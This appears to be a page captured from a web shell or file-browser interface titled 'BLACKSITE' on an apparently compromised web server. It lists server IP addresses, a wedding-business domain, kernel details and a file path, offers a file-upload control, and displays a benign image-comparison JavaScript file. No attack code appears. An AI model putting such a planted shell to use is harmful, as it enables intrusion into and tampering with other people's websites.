BLACKSITE
:
216.73.216.62
:
147.93.18.13 / vinyasaweddings.com
:
Linux srv667811 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
:
/
var
/
www
/
slora
/
js
/
Upload File:
files >> /var/www/slora/js/image-compare-viewer.js
import ImageCompare from "./image-compare-viewer.min.js"; const element = document.getElementById("image-compare"); const options = { controlColor: "#FFFFFF", controlShadow: false, addCircle: true, addCircleBlur: true, smoothing: false, showLabels: true, labelOptions: { before: 'Before', after: 'After', }, maxHeight: 300, }; const viewer1 = new ImageCompare(element, options).mount(); const imageCompareElement = document.getElementById("image-compare"); const labelBefore = imageCompareElement.querySelector(".icv__label-before"); const labelAfter = imageCompareElement.querySelector(".icv__label-after"); const control = imageCompareElement.querySelector(".icv__control"); function adjustLabelOpacity() { const controlRect = control.getBoundingClientRect(); const beforeRect = labelBefore.getBoundingClientRect(); const afterRect = labelAfter.getBoundingClientRect(); if (controlRect.right > beforeRect.left && controlRect.left < beforeRect.right) { labelBefore.style.opacity = "0"; } else { labelBefore.style.opacity = "1"; } if (controlRect.left < afterRect.right && controlRect.right > afterRect.left) { labelAfter.style.opacity = "0"; } else { labelAfter.style.opacity = "1"; } } imageCompareElement.addEventListener("mousemove", adjustLabelOpacity); imageCompareElement.addEventListener("touchmove", adjustLabelOpacity);